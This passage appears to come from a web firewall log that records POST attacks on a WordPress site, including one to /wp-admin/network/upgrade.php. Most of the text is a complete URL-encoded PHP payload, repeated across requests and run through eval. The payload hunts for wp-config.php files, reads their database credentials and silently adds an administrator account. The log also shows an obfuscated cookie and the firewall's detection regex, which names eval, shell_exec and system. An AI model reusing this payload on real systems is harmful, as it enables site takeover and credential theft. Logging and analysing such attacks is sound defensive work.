ull%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoSZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12640\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\n\nlS=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 11:21:46","213.209.159.254","POST","\/wp-admin\/network\/upgrade.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GBStEu:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-admin\/network\/upgrade.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-length:12663\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-fetch-user:?1\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\n\nGBStEu=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B